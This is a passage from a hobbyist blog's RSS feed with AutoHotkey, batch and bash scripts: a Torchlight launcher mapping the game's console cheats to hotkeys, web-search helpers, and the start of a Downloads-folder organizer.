Source Code&lt;/h3&gt;
&lt;pre style=&quot;background-color: white; border-radius: 8px; color: black; padding: 4px; white-space: -moz-pre-wrap; white-space: -o-pre-wrap; white-space: -pre-wrap; white-space: pre-wrap; width: 572px; word-wrap: break-word;&quot;&gt;; Torchlight Helper
; Torchlight Helper
#SingleInstance, Force
Menu, Tray, NoStandard
Menu, Tray, Add, Run Torchlight, gsRunTl
Menu, Tray, Add, Enable Cheats, gsEnblChts
Menu, Tray, Add, Help, ButtonHelp
Menu, Tray, Add
Menu, Tray, Add, E&amp;xit Launcher, ExitSub
if not A_IsAdmin
{
   Run *RunAs &quot;%A_ScriptFullPath%&quot;
   ExitApp
}
OnExit, ExitSub
DetectHiddenWindows, On

; Variables
Global _varTit
ahkexe := &quot;\AutoHotkey\AutoHotkey.exe&quot;
settfl := A_AppData . &quot;\runic games\torchlight\settings.txt&quot;
ProgramFilesX86 := A_ProgramFiles . (A_PtrSize=8 ? &quot; (x86)&quot; : &quot;&quot;)
ahkroot86 := ProgramFilesX86 . ahkexe
ahkroot := &quot;C:\Program Files&quot; . ahkexe
bgpic := A_Temp . &quot;\tllogo.png&quot;
; Auto-execute begin
FileInstall, C:\GOG Games\Torchlight\tllogo.png, %bgpic%, 1
IfExist, %ahkroot86%
 {
  exepath := ahkroot86 
 }
IfExist, %ahkroot%
 {
  exepath := ahkroot
 }
 
IfExist, %exepath%
 {
  _funcGetAhk(_varTit, _varThis)
  _funcKillAhk()
 }
IfExist, C:\GOG Games\Torchlight\Torchlight.exe
 {
  _vExePath := &quot;C:\GOG Games\Torchlight\Torchlight.exe&quot;
 }
IfExist, C:\Program Files\Torchlight\Torchlight.exe
 {
  _vExePath := &quot;C:\Program Files\Torchlight\Torchlight.exe&quot;
 }
IfExist, C:\Program Files (x86)\Torchlight\Torchlight.exe
 {
  _vExePath := &quot;C:\Program Files (x86)\Torchlight\Torchlight.exe&quot;
 }
Gui, Add, Pic, w300 h288 y20 x20 vPic, % bgpic
Gui, Font, s14, Arial
_funcTextGlow(&quot;5&quot;,&quot;96&quot;, &quot;298&quot;, &quot;24&quot;, &quot;White&quot;, &quot;DD4B1B&quot;, &quot;Center BackgroundTrans&quot;, &quot;Cheat Hotkeys&quot;)
Gui, Font, s12, Arial
_funcTextGlow(&quot;5&quot;,&quot;120&quot;, &quot;145&quot;, &quot;24&quot;, &quot;White&quot;, &quot;DD4B1B&quot;, &quot;BackgroundTrans&quot;, &quot;F5  = God&quot;)
_funcTextGlow(&quot;5&quot;,&quot;144&quot;, &quot;145&quot;, &quot;24&quot;, &quot;White&quot;, &quot;DD4B1B&quot;, &quot;BackgroundTrans&quot;, &quot;F6  = Identify All&quot;)
_funcTextGlow(&quot;5&quot;,&quot;168&quot;, &quot;145&quot;, &quot;24&quot;, &quot;White&quot;, &quot;DD4B1B&quot;, &quot;BackgroundTrans&quot;, &quot;F7  = Stash&quot;)
_funcTextGlow(&quot;5&quot;,&quot;192&quot;, &quot;145&quot;, &quot;24&quot;, &quot;White&quot;, &quot;DD4B1B&quot;, &quot;BackgroundTrans&quot;, &quot;F8  = Level Up&quot;)
_funcTextGlow(&quot;5&quot;,&quot;216&quot;, &quot;145&quot;, &quot;24&quot;, &quot;White&quot;, &quot;DD4B1B&quot;, &quot;BackgroundTrans&quot;, &quot;-      = Decend Lvl&quot;)
Gui, Add, Button,x5 y238 w145 h20 ggsRunTl ,Run Torchlight
Gui, Add, Button, x152 y238 w143 h20 ggsEnblChts , Enable Cheats
_funcTextGlow(&quot;150&quot;,&quot;120&quot;, &quot;145&quot;, &quot;24&quot;, &quot;White&quot;, &quot;DD4B1B&quot;, &quot;BackgroundTrans&quot;, &quot;F9    = Kill All&quot;)
_funcTextGlow(&quot;150&quot;,&quot;144&quot;, &quot;145&quot;, &quot;24&quot;, &quot;White&quot;, &quot;DD4B1B&quot;, &quot;BackgroundTrans&quot;, &quot;F10  = Critical Hits&quot;)
_funcTextGlow(&quot;150&quot;,&quot;168&quot;, &quot;145&quot;, &quot;24&quot;, &quot;White&quot;, &quot;DD4B1B&quot;, &quot;BackgroundTrans&quot;, &quot;F11  = AI Freeze&quot;)
_funcTextGlow(&quot;150&quot;,&quot;192&quot;, &quot;145&quot;, &quot;24&quot;, &quot;White&quot;, &quot;DD4B1B&quot;, &quot;BackgroundTrans&quot;, &quot;F12  = 1 Million Gold&quot;)
_funcTextGlow(&quot;150&quot;,&quot;216&quot;, &quot;145&quot;, &quot;24&quot;, &quot;White&quot;, &quot;DD4B1B&quot;, &quot;BackgroundTrans&quot;, &quot;+       = Ascend Lvl&quot;)
Gui, Add, Button,x5 y264 w70 h20 ,E&amp;xit
Gui, Add, Button,x79 y264 w70 h20 ,&amp;Help
GuiControl, Move, Pic, x0 y0
Gui, Show, w300 h288 Center, Torchlight Launcher V2.1

OnMessage(0x200, &quot;WM_MOUSEMOVE&quot;)

;Auto-execute end
SetTimer, chkTlRun, 1000
Return

; Hotkeys
#IfWinActive, ahk_exe Torchlight.exe
XButton1::Send, {1}
XButton2::Send, {2}
F5::Send, {LShift Down}``{LShift Up}god{Enter}{Esc}
F6::Send, {LShift Down}``{LShift Up}identifyall{Enter}{Esc}
F7::Send, {LShift Down}``{LShift Up}stash{Enter}{Esc}
F8::Send, {LShift Down}``{LShift Up}levelup{Enter}{Esc}
F9::Send, {LShift Down}``{LShift Up}killall{Enter}{Esc}
F10::Send, {LShift Down}``{LShift Up}alwayscrit{Enter}{Esc}
F11::Send, {LShift Down}``{LShift Up}aifreeze{Enter}{Esc}
F12::Send, {LShift Down}``{LShift Up}money 1000000{Enter}{Esc}
NumPadSub::Send, {LShift Down}``{LShift Up}decend{Enter}{Esc}
NumPadAdd::Send, {LShift Down}``{LShift Up}ascend{Enter}{Esc}
^+s::Gosub, gsEnblChts
#IfWinActive

;Gosubs
chkTlRun:
 IfWinExist, ahk_exe Torchlight.exe
  {
   Sleep, 1000
   SetTimer, chkTlRun, Off
   SetTimer, gsChckT, 3000
  }
Return
gsChckT:
 IfWinNotExist, ahk_exe Torchlight.exe
  Gosub, ExitSub
Return

gsRunTl:
 Sleep, 2000
 IfWinNotExist, ahk_exe Torchlight.exe
  Run, &quot;%_vExePath%&quot;
 Else
  WinActivate
Return
gsEnblChts:
 c := &quot;CONSOLE&quot;
 bk := settfl . &quot;.bak&quot;
 FileRead, _vChtFl, % settfl
 IfNotExist, % bk
  {
   FileAppend, % _vChtFl, % bk, UTF-16
  }
 StringReplace, _vRplcChtFl,_vChtFl, %c% :0, %c% :1
 IfExist, % bk
  {
   FileDelete, % settfl
   FileAppend, % _vRplcChtFl, % settfl, UTF-16
   MsgBox, 64, Torchlight Launcher Info, Cheats should be enabled!`nYou can run Torchlight from this launcher but`nit is not neccesary as long as this launcher is running.
  }
 Else
  {
   MsgBox,4, Torchlight Launcher Error, % (&quot;Backup file:&quot; . bk . &quot;`n`nwas not created, please edit:&quot;
   . &quot;`n`n&quot; . settfl 
   . &quot;`n`nyourself and change CONSOLE :0 to CONSOLE :1&quot;
   . &quot;`n`nWould you like to edit the file manually now?&quot;)
   IfMsgBox Yes
    Run, notepad &quot;%settfl%&quot;
  }
 ;MsgBox % _vRplcChtFl
Return

; Functions
_funcTextGlow(_vXPos,_vYPos, _vWPos, _vHPos, _vTxtClr, _vGlwClr, _vOpt, _vTxt){
 xa := _vXPos - 1
 xb := _vXPos + 1
 ya := _vYPos - 1
 yb := _vYPos + 1
 Gui, Add, Text, x%xa% y%ya% w%_vWPos% h%_vHPos% c%_vGlwClr% %_vOpt%,%_vTxt%
 Gui, Add, Text, x%xb% y%ya% w%_vWPos% h%_vHPos% c%_vGlwClr% %_vOpt%,%_vTxt%
 Gui, Add, Text, x%xa% y%yb% w%_vWPos% h%_vHPos% c%_vGlwClr% %_vOpt%,%_vTxt%
 Gui, Add, Text, x%xb% y%yb% w%_vWPos% h%_vHPos% c%_vGlwClr% %_vOpt%,%_vTxt%
 Gui, Add, Text, x%_vXPos% y%_vYPos% w%_vWPos% h%_vHPos% c%_vTxtClr% %_vOpt%,%_vTxt%
}
_funcGetAhk(ByRef _varTit, ByRef _varThis){
 WinGet,_varThis, List, ahk_class AutoHotkey
 WinGetTitle, _varTit, ahk_id %_varThis1%
}

_funcKillAhk(_varCnt:=1){
 WinGet,_varAhkList, List, ahk_class AutoHotkey
 lCnt := _varAhkList
 Loop, %_varAhkList%
  {
   _pr := _varAhkList%A_Index%
   WinGetTitle, _varTt, ahk_id %_pr%
   If (_varTt  != _varTit)
    {
     WinClose, ahk_id %_pr%
     lCnt := lCnt - 1
    }
  }
 ;MsgBox, 64,Start AHK, Start AHK manually for test.
 _funcGetAhk(_varTit, _varThis)
 If (_varThis != &quot;1&quot;)
  {
   MsgBox, 5, Something went wrong, All AHK scripts were not closed.`nPlease exit them manually and`nclick [Retry].
    {
     IfMsgBox, Retry
      {
       Reload
      }
     Else IfMsgBox, Cancel
      {
       MsgBox, 64, AutoHotkey Error, Please resolve your issue and try again.
       Gosub, ExitSub      
      }      
    }
  }
}

WM_MOUSEMOVE() {
}
ButtonHelp:
 MsgBox, 64, Torchlight Launcher &amp; Trainer +10 V2.1, % ( &quot;Torchlight Launcher &amp; Trainer +10 V2.1 by Lateralus138.&quot;
 . &quot;`n`nThis cheat trainer is written completely in AutoHotkey &amp;&quot;
 . &quot;`nunlike traditional trainers this does not use any hacks,&quot;
 . &quot;`nonly normal cheats that can also be accessed from the&quot;
 . &quot;`nin-game console. To use cheats in Torchlight you must&quot;
 . &quot;`nfirst enable the console in the games settings config file:&quot;
 . &quot;`n`n&quot;&quot;settings.txt&quot;&quot; Found in:&quot;
 . &quot;`n&quot; . A_AppData . &quot;\runic games\torchlight\&quot;
 . &quot;`n`nOpen the settings file and change CONSOLE: 0 to CONSOLE: 1&quot;
 . &quot;`nand then run this trainer.&quot;
 . &quot;`n`nThis trainer adds 10 of the more commonly used cheats to&quot;
 . &quot;`nhotkeys &amp; adds item slots 1 &amp; 2 to XButton1 &amp; XButton2 on&quot;
 . &quot;`na gaming mouse.&quot;
 . &quot;`n`nTorchlight Launcher can be used with any version of the&quot;
 . &quot;`ngame (GOG &amp; regular) as long as it is installed in the&quot;
 . &quot;`ndefault directory.&quot;) 
Return
ButtonExit:
GuiClose:
ExitSub:
 IfExist, %exepath%
  {
   Run, AutoHotkey
  }
 Sleep, 1000
ExitApp
&lt;/pre&gt;
&lt;div class=&quot;fb-share-button&quot; data-href=&quot;http://agnosticmicrocosm.blogspot.com/2016/03/torchlight-launcher-and-cheathotkey.html&quot; data-layout=&quot;button_count&quot;&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;script src=&quot;https://apis.google.com/js/platform.js&quot; async defer&gt;&lt;/script&gt;
&lt;script async src=&quot;//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js&quot;&gt;&lt;/script&gt;
&lt;!-- Torchlight Launcher --&gt;
&lt;ins class=&quot;adsbygoogle&quot;
     style=&quot;display:block&quot;
     data-ad-client=&quot;ca-pub-4047236464784905&quot;
     data-ad-slot=&quot;4337499479&quot;
     data-ad-format=&quot;auto&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
(adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;</description><link>https://techmicrocosm.blogspot.com/2016/03/torchlight-launcher-and-cheathotkey.html</link><author>noreply@blogger.com (FluxApex)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-6302933238343520396.post-5477742725423993639</guid><pubDate>Fri, 01 Jan 2016 22:38:00 +0000</pubDate><atom:updated>2016-06-10T12:29:03.459-05:00</atom:updated><title>[Obsolete] - Web search query with AutoHotKey (InputBox)</title><description>&lt;div style=&quot;text-decoration: line-through;-moz-border-radius: 10px; -moz-box-shadow: 0 0 8px 8px #0e1e00; -webkit-box-shadow: 0 0 8px 8px #0e1e00; background-color: black; background: url(&amp;#39;https://i254.photobucket.com/albums/hh119/faithnomoread/pk-blog-bg_zps72abdc1f.png&amp;#39;); border-radius: 10px; box-shadow: 0 0 8px 8px #0e1e00; color: white; font-family: Georgia, serif; height: 100%; margin: auto; overflow: hidden; padding: 4px; width: 100%;&quot;&gt;
&lt;div id=&quot;fb-root&quot;&gt;&lt;/div&gt;
&lt;script&gt;(function(d, s, id) {
  var js, fjs = d.getElementsByTagName(s)[0];
  if (d.getElementById(id)) return;
  js = d.createElement(s); js.id = id;
  js.src = &quot;//connect.facebook.net/en_US/sdk.js#xfbml=1&amp;version=v2.5&amp;appId=315119595244827&quot;;
  fjs.parentNode.insertBefore(js, fjs);
}(document, &#39;script&#39;, &#39;facebook-jssdk&#39;));&lt;/script&gt;

&lt;br /&gt;
&lt;center&gt;
&lt;h1 style=&quot;text-decoration: line-through;text-shadow: 2px 2px 8px #FFFFFF;&quot;&gt;
Web search query with AutoHotKey (InputBox)&lt;/h1&gt;
&lt;/center&gt;
&lt;div class=&quot;fb-share-button&quot; data-href=&quot;http://agnosticmicrocosm.blogspot.com/2016/01/web-search-query-with-autohotkey.html&quot; data-layout=&quot;button_count&quot;&gt;&lt;/div&gt;
&lt;hr style=&quot;border-style: dashed;&quot; /&gt;
&lt;hr style=&quot;border-style: dashed;&quot; /&gt;
&lt;div style=&quot;display: inline-block; width: 540px;&quot;&gt;
&lt;div style=&quot;text-decoration: line-through;text-indent: 24px;&quot;&gt;
A few days ago I wrote about doing web searches from the command line in both Windows and Linux, but today I am posting about doing web searches with AutoHotKey (Windows only).
&lt;/div&gt;
&lt;div style=&quot;text-decoration: line-through;text-indent: 24px;&quot;&gt;
While my other scripts are just fine for some people, some people prefer to either stick to one system or hate bat/cmd and since I love AHK I figured I&#39;d write a simple search tool for it using hotkeys. For those who aren&#39;t aware, AutoHotKey is a scripting language aimed at; as its name implies, using hotkeys to automate tasks. AHK was forked from a project called AutoIT which has some hotkey accessibility, but more aimed at GUIs (plan to do a AU3 project in the near future).&lt;/div&gt;

&lt;div style=&quot;text-decoration: line-through;text-indent: 24px;&quot;&gt;
The script will be posted below with in depth comments to help you better understand the script or if you prefer I will also provide 32 and 64 bit compiled executables for the &lt;i&gt;Google&lt;/i&gt; versions only.
&lt;/div&gt;
&lt;div style=&quot;text-decoration: line-through;&quot;&gt;
Note: If you do not enter any search terms and exit the gui in anyway it will automatically open Google.com in your browser, but if you do enter something it will open your browser with the search engine you have set in your browser.&lt;/div&gt;
&lt;br /&gt;
&lt;h3 style=&quot;text-decoration: line-through;color:red;&quot;&gt;Main AutoHotKey Script&lt;/h3&gt;
&lt;a href=&quot;https://www.dropbox.com/s/1j73tzyuokmnly4/google.ahk?dl=0&quot; target=&quot;_blank&quot; style=&quot;text-decoration: line-through;&quot;&gt;Download google.ahk script file&lt;/a&gt;&lt;br /&gt;
&lt;span style=&quot;text-decoration: line-through;&quot;&gt;Or read and copy this to a text file and save as anything_you_want.ahk (google.ahk):&lt;/span&gt;
&lt;pre style=&quot;text-decoration: line-through;background-color: white; border-radius: 8px; color: black; padding: 4px; white-space: -moz-pre-wrap; white-space: -o-pre-wrap; white-space: -pre-wrap; white-space: pre-wrap; width: 572px; word-wrap: break-word;&quot;&gt;; AHK script created by Lateralus138
; Google search gui
; Key Control+Shift+g (^+g)

#SingleInstance, Force

; Tray icon function (just for fun),
; provide resource library name and 
; icon number and tray message.
; This changes icons in the system tray 
; calling system icons from imageres.dll 
; or the library of your choice.
; E.g. TrayIcon(&quot;imageres.dll&quot;, 21, &quot;Google Search&quot;) - where 
; imageres.dll is the resource library, 21 is the resource 
; icon number, and Google Search is the text to display in
; your system tray.

TrayIcon(ResNam, ResNum, TrayMsg )
 {
  Menu, Tray, Icon, %ResNam%, %ResNum%
  Menu, TRAY, Tip, %TrayMsg%
 }


; Tooltip w/timer function, provide
; text and time.
tttimer2(tttext2, tttime2)
 {
  ToolTip, %tttext2%
  Sleep, %tttime2%
  ToolTip
 }

; Function to activate your web browser if it&#39;s already
; running change browser to your preference.
; I use chrome.exe in this script
ChromeActive()
 {
  WinActivate , ahk_exe chrome.exe
  Sleep , 500
  Send , {Ctrl Down}t{Ctrl Up}
  Sleep , 500
 }

; Function to browser if not already running.
StartChrome()
 {
  Run , chrome.exe
  Sleep , 5000
  ChromeActive()
 }


; Function to type just your web engines main url without
; a query in your web browser.
SndE()
 {
  Send , https://www.google.com/{Enter}
 }

; SetFormat for converting decimals to whole numbers then
; WinGetPos to get your screen resolution.
; SWD and SHT variables for positioning the search bar in
; the center of the screen.
SetFormat, FloatFast, 1
WinGetPos,,, desk_width, desk_height, Program Manager  
SWD := (desk_width / 2) - 400    
SHT := (desk_height / 2) - 72


; Initially call main tray icon
Gosub, TrayIconSub

; Start hotkey, main program funtion.

; Change hotkey in the line below.
; Currently ^+g (CTRL+SHIFT+g, g for Google, but this is
; your choice)
^+g::

; Call tray icon function when hotkeys are pushed, calls
; icon for main GUI window in the system tray.
TrayIcon(&quot;imageres.dll&quot;, 95, &quot;What would you like to search for?&quot;)

; Call to GUI window. Waits for your query, if left empty and the gui is exited
; in any way it loads your default search engine with no query; if your query is
; provided it then opens your query in your browser and search engine of choice.
InputBox, GoogleQuery , Google Search, `Leave empty and hit [Enter] to open Google.com.`n`Your search query`:,,800, 144, %SWD%, %SHT%

; Process actions after GUI closes. Tests if your query is provided
; and calls the approriate functions.
if ! GoogleQuery
 {
  IfWinExist, ahk_exe chrome.exe
   {
    ChromeActive()
    SndE()
   }
  Else
   {
    StartChrome()
    SndE()
   }
 }
Else
 {
  IfWinExist, ahk_exe chrome.exe
   {
    ChromeActive()
    Send , %GoogleQuery%{Enter}
   }
  Else
   {
    StartChrome()
    Send , %GoogleQuery%{Enter}
   }
 }

Gosub, TrayIconSub
Return

; Resets tray icon.
TrayIconSub:
TrayIcon(&quot;imageres.dll&quot;, 21, &quot;Google Search&quot;)
Return

&lt;/pre&gt;
&lt;h3 style=&quot;text-decoration: line-through;color:red;&quot;&gt;Executables&lt;/h3&gt;
&lt;span style=&quot;text-decoration: line-through;&quot;&gt;Double click to run or you can run from a command line. These executables work with Chrome browser and Google.com only.&lt;br /&gt;
Rename these as you like:
&lt;/span&gt;
&lt;ul style=&quot;text-decoration: line-through;list-style-type: none;&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://www.dropbox.com/s/kaxmdhc0kurwse4/google32.exe?dl=0&quot; target=&quot;_blank&quot; style=&quot;text-decoration: line-through;&quot;&gt;32 Bit google.exe&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.dropbox.com/s/mnl7s40vtmdgycs/google64.exe?dl=0&quot; target=&quot;_blank&quot; style=&quot;text-decoration: line-through;&quot;&gt;64 Bit google.exe&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
</description><link>https://techmicrocosm.blogspot.com/2016/01/obsolete-web-search-query-with.html</link><author>noreply@blogger.com (FluxApex)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-6302933238343520396.post-2621322707456942499</guid><pubDate>Tue, 29 Dec 2015 01:30:00 +0000</pubDate><atom:updated>2015-12-29T00:48:22.957-06:00</atom:updated><title>Web search query from command line (Windows and Linux)</title><description>&lt;div style=&quot;-moz-border-radius: 10px; -moz-box-shadow: 0 0 8px 8px #0e1e00; -webkit-box-shadow: 0 0 8px 8px #0e1e00; background-color: black; background: url(&#39;http://i254.photobucket.com/albums/hh119/faithnomoread/pk-blog-bg_zps72abdc1f.png&#39;); border-radius: 10px; box-shadow: 0 0 8px 8px #0e1e00; color: white; margin: auto; padding: 4px; width: 100%; height:100%; font-family: Georgia, serif; overflow: hidden;&quot;&gt; 
&lt;div id=&quot;fb-root&quot;&gt;&lt;/div&gt;
&lt;script&gt;(function(d, s, id) {
  var js, fjs = d.getElementsByTagName(s)[0];
  if (d.getElementById(id)) return;
  js = d.createElement(s); js.id = id;
  js.src = &quot;//connect.facebook.net/en_US/sdk.js#xfbml=1&amp;version=v2.5&amp;appId=315119595244827&quot;;
  fjs.parentNode.insertBefore(js, fjs);
}(document, &#39;script&#39;, &#39;facebook-jssdk&#39;));&lt;/script&gt;
&lt;center&gt;&lt;h1 style=&quot;text-shadow: 2px 2px 8px #FFFFFF;&quot;&gt;Web search query from command line (Windows and Linux)&lt;/h1&gt;&lt;/center&gt;
&lt;div class=&quot;fb-share-button&quot; data-href=&quot;http://agnosticmicrocosm.blogspot.com/2015/12/web-search-query-from-command-line.html&quot; data-layout=&quot;button_count&quot;&gt;&lt;/div&gt;
&lt;hr style=&quot;border-style: dashed;&quot; /&gt;
&lt;hr style=&quot;border-style: dashed;&quot; /&gt;
&lt;div style=&quot;display: inline-block; width: 540px;&quot;&gt;
&lt;p style=&quot;text-indent:24px;&quot;&gt;
If you are like me and you do as much as you can on a computer by command line then there may have been a time in your life that you wanted to do your web searches straight from the command line (cmd/terminals etc...). Also, if you are like me, then you like to use as few 3rd party apps as possible and scripts only if possible.
&lt;/p&gt;
&lt;p style=&quot;text-indent:24px;&quot;&gt;
In Linux there are text based browsers for command line and in Windows you can use Telnet or Links, but like I said, I like scripts (or exe/bin conversions of) and for years I have made sloppy variations of search engine scripts for both OS&#39;s. Recently I have perfected and cleaned up those scripts for general use for the public.
&lt;/p&gt;
&lt;p style=&quot;text-indent:24px;&quot;&gt;
Each script has comments/remarks explaining each section and the Windows bat/cmd script has been made easy to use in batch to exe conversions and still work normally if not. Both scripts (Windows/Linux) use the same simple syntax by passing your query directly to the file; which, the files can be named whatever you want. For example if I wanted to use the script as a google search tool and named the script google.cmd(or bat) or google.sh (no extension necessary if shell is stated in file) then I would use any of these syntaxes to search your query:&lt;br /&gt;
Windows:
&lt;pre style=&quot;background-color:white;color: black;border-radius: 8px;padding: 4px; width: 572px;&quot;&gt;
google my search terms
google.cmd my search terms
google.bat my search terms
&lt;/pre&gt;
Linux:
&lt;pre style=&quot;background-color:white;color: black;border-radius: 8px;padding: 4px; width: 572px;&quot;&gt;
google my search terms
google.sh my search terms
sh google.sh my search terms
&lt;/pre&gt;
Of course you can name your file to whatever you want. If no search terms are provided it just opens the search engines web page. 
&lt;/p&gt;

&lt;p&gt;
Script Codes:&lt;br /&gt;
For each script you can change 3 variables:
&lt;ul style=&quot;list-style-type: none;&quot;&gt;
&lt;li&gt;Search Engine Url - all the way to right before the search string. E.g. https://www.google.com/#q=&lt;/li&gt;&lt;br /&gt;
&lt;li&gt;Web Browser - your preference, Chrome, Firefox, IE, Opera etc... E.g. C:\Program Files\Google\chrome.exe&lt;/li&gt;&lt;br /&gt;
&lt;li&gt;Spaces delimeter - urls don&#39;t work well with spaces so most spaces are replaced by %20, +, or similar.&lt;/li&gt;&lt;br /&gt;
&lt;/ul&gt;
Windows batch or cmd. Can be converted to an exe with a bat2exe program. Comments/Remarks denoted by &#39;REM&#39;. For batch files with goto :EOF to work properly remember to leave an empty line at the end of the script file:
&lt;pre style=&quot;background-color:white;color: black;border-radius: 8px;padding: 4px; width: 572px;&quot;&gt;
@echo off
setlocal EnableDelayedExpansion
REM Command line search utility;
REM can be used for any search engine.
REM by Lateralus138 aka Ian Pride

REM Variables; change as needed for any url search engine;
REM surl = Main search url;
REM bexe = Browser executable; The name or direct link to 
REM ...... the web browser you want to use;
REM spac = Space delimeter expansion/replacer. Most
REM ...... search engines use %20 (%%20 for this script),
REM ...... but some use the + sign;
set &quot;surl=https://www.google.com/#q=&quot;
set &quot;bexe=chrome.exe&quot;
set &quot;spac=+&quot;


REM Check if parameters are passed; if not, open regular site;
REM If parameters are passed then continue with processing
REM search terms below;
if &quot;%~1&quot;==&quot;&quot; (
 echo Parameter/s not given.
 start &quot;Starting Search Engine...&quot; &quot;%bexe%&quot; &quot;%surl%&quot;
 goto :EOF
)

REM Process search query terms if given and open in a browser;
REM Variables; Do not change;
REM qry_prms = search terms passed to this script;
REM clr_file = Calling file. Processed out in variable expansion
REM .......... for use in bat2exe programs;
set &quot;qry_prms=%*&quot;
set &quot;clr_file=%0 &quot;
REM Delayed expansion to manipulate search query string for
REM use in your web browser;


REM Replace calling file for bat2exe type programs;
REM qry_strng = Extract calling file from the
REM ........... query parameters;
set &quot;qry_strng=!qry_prms:%clr_file%=!&quot;

REM Replace spaces with delimeter;
set qry_fnl=!qry_strng: =%spac%!

REM Process search query; open browser and searches;
start &quot;Searching For Given Query...&quot; &quot;%bexe%&quot; &quot;%surl%!qry_fnl!&quot;

&lt;/pre&gt;

Linux script or bin. It was, of course, easier to write this than the Windows one. Comments/Remarks denoted by &#39;#&#39;:
&lt;pre style=&quot;background-color:white;color: black;border-radius: 8px;padding: 4px; width: 572px;&quot;&gt;
#!/bin/bash
# Command line search utility;
# can be used for any search engine.
# by Lateralus138 aka Ian Pride

# Variables; change to suit your needs:

# Whatever internet browser you want to use
brwsr_clnt=&quot;google-chrome&quot;

# Main search url all the way up to right 
# before the search string.
srch_url=&quot;http://kat.cr/usearch/&quot;

# Replacement character for space character in
# the browsers search string url. Most use %20
# but some use the + character or similar.
brwsr_dlmtr=&quot;%20&quot;

# Variables; End.

# Main script;

# Test if search string is given, if not, open
# the normal search site without a query in the
# browser of your choice. Exits script.
if [ -z &quot;$*&quot; ]; then
 &quot;$brwsr_clnt&quot; &quot;$srch_url&quot; &amp;
 exit
fi

# If search string given then process string
# and then opens the query in the browser
# of your choice.
qry_strng=&quot;$*&quot;
&quot;$brwsr_clnt&quot; &quot;$srch_url${qry_strng// /$brwsr_dlmtr}&quot;

# Main script; End.
&lt;/pre&gt;
Please feel free to comment to or message me with any questions.
&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;</description><link>https://techmicrocosm.blogspot.com/2015/12/web-search-query-from-command-line.html</link><author>noreply@blogger.com (FluxApex)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-6302933238343520396.post-5548908065870235151</guid><pubDate>Wed, 11 Nov 2015 15:15:00 +0000</pubDate><atom:updated>2015-11-11T14:12:40.705-06:00</atom:updated><title>Organize Downloads Folder In Linux (Or Mac)</title><description>&lt;div style=&quot;-moz-border-radius: 10px; -moz-box-shadow: 0 0 8px 8px #0e1e00; -webkit-box-shadow: 0 0 8px 8px #0e1e00; background-color: black; background: url(&#39;http://i254.photobucket.com/albums/hh119/faithnomoread/pk-blog-bg_zps72abdc1f.png&#39;); border-radius: 10px; box-shadow: 0 0 8px 8px #0e1e00; color: white; margin: auto; padding: 4px; width: 100%; height:100%; font-family: Georgia, serif; overflow: hidden;&quot;&gt; 
&lt;center&gt;&lt;h1 style=&quot;text-shadow: 2px 2px 8px #FFFFFF;&quot;&gt;Organize Downloads Folder In Linux &lt;br /&gt;(Or Mac)&lt;/h1&gt;&lt;/center&gt;
&lt;div class=&quot;fb-share-button&quot; data-href=&quot;https://developers.facebook.com/docs/plugins/&quot; data-layout=&quot;button_count&quot;&gt;&lt;/div&gt;
&lt;hr style=&quot;border-style: dashed;&quot; /&gt;
&lt;hr style=&quot;border-style: dashed;&quot; /&gt;
&lt;div style=&quot;display: inline-block; width: 540px;&quot;&gt;
&lt;p style=&quot;text-indent:24px;&quot;&gt;
If any of you use Linux or Mac (even Windows, but I&#39;m talking about *nix today) and download lots of stuff then you know how messy it can get really quick even if you try to stay organized.
&lt;/p&gt;
&lt;p style=&quot;text-indent:24px;&quot;&gt;
I have written a shell script to organize your lose files in your home downloads folder fairly intuitively. It first checks for my preset directory tree to be built inside the downloads folder with sections: Archives, Audio, Video, Documents, Images and Installers with many preset sections inside each directory for the different file types. For example you would find .pdf files inside ...Documents/pdf... or .txt files in Documents/txt etc... If the directories are not found it creates them.
&lt;/p&gt;
&lt;p style=&quot;text-indent:24px;&quot;&gt;
It then searches for a large list of preset file extensions in the main Downloads folder non-recursively and then checks the destination folder to see if the file already exists, if not it will then move the file to the destination. If the file is already there it will ask what you would like to do with the file: Replace, Delete or Do Nothing. This seems like a lot (I&#39;m a good enough coder to turn 2600 lines of code into 200 :D ), but the folder checking literally takes less than 1 second (probably 500 ms) and the search for files takes less than a couple. Search is used with &#39;find&#39; at -maxdepth 1 (for non-recursive). 
&lt;/p&gt;
&lt;p style=&quot;text-indent:24px;&quot;&gt;
This script is easily editable if you are familiar with *nix shells, directories and file types can be added accordingly. You can really pull my functions and and use in any type of folder organization.
&lt;/p&gt;
&lt;p style=&quot;text-indent:24px;&quot;&gt;
This is open-source code; you may use in your home or business, but any use in any sell-able product is strictly prohibited unless I have given permission.
&lt;/p&gt;
&lt;p style=&quot;text-indent:24px;&quot;&gt;
Script code below, header is for bash (#!/bin/bash), but I am sure this is POSIX friendly and doesn&#39;t need a head so strip the BASH header for non bash shells.
If you do not already know how to use scripts then this script is probably not for you, but if you need help running and are willing to learn then please ask away; I&#39;ll help.
&lt;/p&gt;
&lt;p&gt;
Script File if you prefer:&lt;br /&gt;
mvarchives: &lt;a href=&quot;https://www.dropbox.com/s/j8v5z8otz8xrfxw/mvarchives?dl=0&quot; target=&quot;_blank&quot;&gt;mvarchives script file @ Dropbox&lt;/a&gt;&lt;br /&gt;
 
Script Code:&lt;br /&gt;
&lt;pre style=&quot;background-color:white;color: black;border-radius: 8px;padding: 4px; width: 572px;&quot;&gt;
#!/bin/bash
# Organizer for lose files in $HOME/Downloads

# Directory list
# Calling users download directory
dldir=&quot;$HOME/Downloads&quot;

# Archive directories
arch=&quot;$dldir/Archives&quot;
zip=&quot;$arch/zip&quot;
gzd=&quot;$arch/gz&quot;
tar=&quot;$arch/tar&quot;
rar=&quot;$arch/rar&quot;
bz2=&quot;$arch/bz2&quot;
szdir=&quot;$arch/7z&quot;

# Installer directories
instl=&quot;$dldir/Installers&quot;
deb=&quot;$instl/deb&quot;
